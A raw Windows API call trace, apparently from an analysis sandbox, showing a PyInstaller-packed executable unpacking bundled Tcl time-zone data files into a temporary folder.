1 [0037.938] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.938] CloseHandle (hObject=0x10c) returned 1 [0037.938] GetLastError () returned 0x0 [0037.938] SetLastError (dwErrCode=0x0) [0037.938] GetLastError () returned 0x0 [0037.939] SetLastError (dwErrCode=0x0) [0037.939] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.939] GetFileType (hFile=0x10c) returned 0x1 [0037.939] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.939] CloseHandle (hObject=0x10c) returned 1 [0037.939] GetLastError () returned 0x0 [0037.939] SetLastError (dwErrCode=0x0) [0037.939] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0037.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.939] GetFileType (hFile=0x10c) returned 0x1 [0037.939] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.940] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.940] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.940] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.940] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.940] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.940] CloseHandle (hObject=0x10c) returned 1 [0037.940] GetLastError () returned 0x0 [0037.940] SetLastError (dwErrCode=0x0) [0037.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0037.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.940] GetFileType (hFile=0x10c) returned 0x1 [0037.940] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.940] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.940] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.940] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.940] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.940] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.940] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.940] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.940] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.940] CloseHandle (hObject=0x10c) returned 1 [0037.941] GetLastError () returned 0x0 [0037.941] SetLastError (dwErrCode=0x0) [0037.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Accra") returned 69 [0037.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Accra" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\accra"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.941] GetLastError () returned 0x2 [0037.941] SetLastError (dwErrCode=0x2) [0037.941] GetLastError () returned 0x2 [0037.941] SetLastError (dwErrCode=0x2) [0037.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Accra", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Accra", lpFilePart=0x0) returned 0x44 [0037.941] GetLastError () returned 0x2 [0037.941] SetLastError (dwErrCode=0x2) [0037.941] GetLastError () returned 0x2 [0037.941] SetLastError (dwErrCode=0x2) [0037.941] GetLastError () returned 0x2 [0037.941] SetLastError (dwErrCode=0x2) [0037.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Accra") returned 69 [0037.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Accra" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\accra"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.941] GetFileType (hFile=0x10c) returned 0x1 [0037.941] htonl (hostlong=0x8020000) returned 0x208 [0037.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.941] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x208, lpOverlapped=0x0) returned 1 [0037.942] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.942] CloseHandle (hObject=0x10c) returned 1 [0037.943] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e8 | out: hHeap=0x530000) returned 1 [0037.943] htonl (hostlong=0x30000000) returned 0x30 [0037.943] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.943] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.943] GetFileType (hFile=0x10c) returned 0x1 [0037.943] htonl (hostlong=0x51355800) returned 0x583551 [0037.943] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce551, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.943] htonl (hostlong=0x9b000000) returned 0x9b [0037.943] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9b) returned 0x55cfe0 [0037.943] htonl (hostlong=0x9b000000) returned 0x9b [0037.943] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.943] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.943] htonl (hostlong=0xb3000000) returned 0xb3 [0037.943] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x550600 [0037.944] htonl (hostlong=0x9b000000) returned 0x9b [0037.944] htonl (hostlong=0xb3000000) returned 0xb3 [0037.944] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.944] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.944] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.944] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.944] CloseHandle (hObject=0x10c) returned 1 [0037.944] GetLastError () returned 0x0 [0037.944] SetLastError (dwErrCode=0x0) [0037.944] GetLastError () returned 0x0 [0037.944] SetLastError (dwErrCode=0x0) [0037.944] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.944] GetFileType (hFile=0x10c) returned 0x1 [0037.944] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.944] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.944] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.944] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.944] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.944] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.944] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.944] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.944] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.944] CloseHandle (hObject=0x10c) returned 1 [0037.945] GetLastError () returned 0x0 [0037.945] SetLastError (dwErrCode=0x0) [0037.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0037.945] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.945] GetFileType (hFile=0x10c) returned 0x1 [0037.945] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.945] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.945] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.945] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.945] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.945] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.945] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.945] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.945] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.945] CloseHandle (hObject=0x10c) returned 1 [0037.945] GetLastError () returned 0x0 [0037.945] SetLastError (dwErrCode=0x0) [0037.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0037.945] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.945] GetFileType (hFile=0x10c) returned 0x1 [0037.945] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.945] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.945] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.945] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.945] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.946] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.946] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.946] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.946] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.946] CloseHandle (hObject=0x10c) returned 1 [0037.946] GetLastError () returned 0x0 [0037.946] SetLastError (dwErrCode=0x0) [0037.946] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Addis_Ababa") returned 75 [0037.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Addis_Ababa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\addis_ababa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.946] GetLastError () returned 0x2 [0037.946] SetLastError (dwErrCode=0x2) [0037.946] GetLastError () returned 0x2 [0037.946] SetLastError (dwErrCode=0x2) [0037.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Addis_Ababa", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Addis_Ababa", lpFilePart=0x0) returned 0x4a [0037.946] GetLastError () returned 0x2 [0037.946] SetLastError (dwErrCode=0x2) [0037.946] GetLastError () returned 0x2 [0037.946] SetLastError (dwErrCode=0x2) [0037.946] GetLastError () returned 0x2 [0037.946] SetLastError (dwErrCode=0x2) [0037.946] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Addis_Ababa") returned 75 [0037.946] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Addis_Ababa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\addis_ababa"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.947] GetFileType (hFile=0x10c) returned 0x1 [0037.947] htonl (hostlong=0xb3000000) returned 0xb3 [0037.947] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.947] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0037.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.948] CloseHandle (hObject=0x10c) returned 1 [0037.949] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.949] htonl (hostlong=0x30000000) returned 0x30 [0037.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.949] GetFileType (hFile=0x10c) returned 0x1 [0037.949] htonl (hostlong=0xec355800) returned 0x5835ec [0037.949] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce5ec, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.949] htonl (hostlong=0x5c010000) returned 0x15c [0037.949] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15c) returned 0x550600 [0037.949] htonl (hostlong=0x5c010000) returned 0x15c [0037.949] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.949] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.949] htonl (hostlong=0x11040000) returned 0x411 [0037.949] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x411) returned 0x550768 [0037.949] htonl (hostlong=0x5c010000) returned 0x15c [0037.949] htonl (hostlong=0x11040000) returned 0x411 [0037.949] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.949] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.949] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.949] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.950] CloseHandle (hObject=0x10c) returned 1 [0037.950] GetLastError () returned 0x0 [0037.950] SetLastError (dwErrCode=0x0) [0037.950] GetLastError () returned 0x0 [0037.950] SetLastError (dwErrCode=0x0) [0037.950] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.950] GetFileType (hFile=0x10c) returned 0x1 [0037.950] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.950] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.950] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 